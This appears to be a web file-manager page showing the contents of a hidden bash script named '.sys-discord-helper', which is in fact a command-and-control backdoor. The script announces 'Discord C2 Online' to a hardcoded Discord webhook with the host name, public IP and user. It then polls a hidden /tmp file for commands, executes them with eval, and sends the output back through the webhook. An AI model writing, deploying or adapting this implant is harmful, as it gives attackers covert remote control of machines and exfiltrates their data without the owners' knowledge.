OwlCyberSecurity - MANAGER
Edit File: .sys-discord-helper
#!/bin/bash export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin WEBHOOK="https://discord.com/api/webhooks/1462926605180473526/i6a81UUnYMNNJj7YN_IA76PRWFLYrbR4zvvsrDvBviUYdJWUTvYOnH8riRlqjSvTBy_w" HOSTNAME=$(hostname 2>/dev/null || echo "unknown") IP=$(curl -s ifconfig.me 2>/dev/null || hostname -I 2>/dev/null | awk '{print $1}' || echo "unknown") CMD_FILE="/tmp/.dc_cmd_${HOSTNAME}" RESULT_FILE="/tmp/.dc_result_${HOSTNAME}" send_discord() { local MSG="$1" local JSON="{\"content\":\"$MSG\"}" curl -s -H "Content-Type: application/json" -d "$JSON" "$WEBHOOK" > /dev/null 2>&1 } send_embed() { local TITLE="$1" local DESC="$2" local COLOR="${3:-65280}" local JSON="{\"embeds\":[{\"title\":\"$TITLE\",\"description\":\"$DESC\",\"color\":$COLOR}]}" curl -s -H "Content-Type: application/json" -d "$JSON" "$WEBHOOK" > /dev/null 2>&1 } send_embed "🟢 Discord C2 Online" "**Host:** ${HOSTNAME}\n**IP:** ${IP}\n**User:** $(whoami)\n**Time:** $(date)" 65280 # Monitor command file for instructions while true; do if [ -f "$CMD_FILE" ]; then CMD=$(cat "$CMD_FILE") rm -f "$CMD_FILE" if [ -n "$CMD" ]; then OUTPUT=$(eval "$CMD" 2>&1 | head -c 1800) [ -z "$OUTPUT" ] && OUTPUT="[OK] No output" ESCAPED=$(echo "$OUTPUT" | sed 's/"/\\"/g' | tr '\n' ' ') send_embed "📤 [${HOSTNAME}] Command Result" "\`\`\`\n\$ ${CMD}\n${ESCAPED}\n\`\`\`" 3447003 fi fi sleep 5 done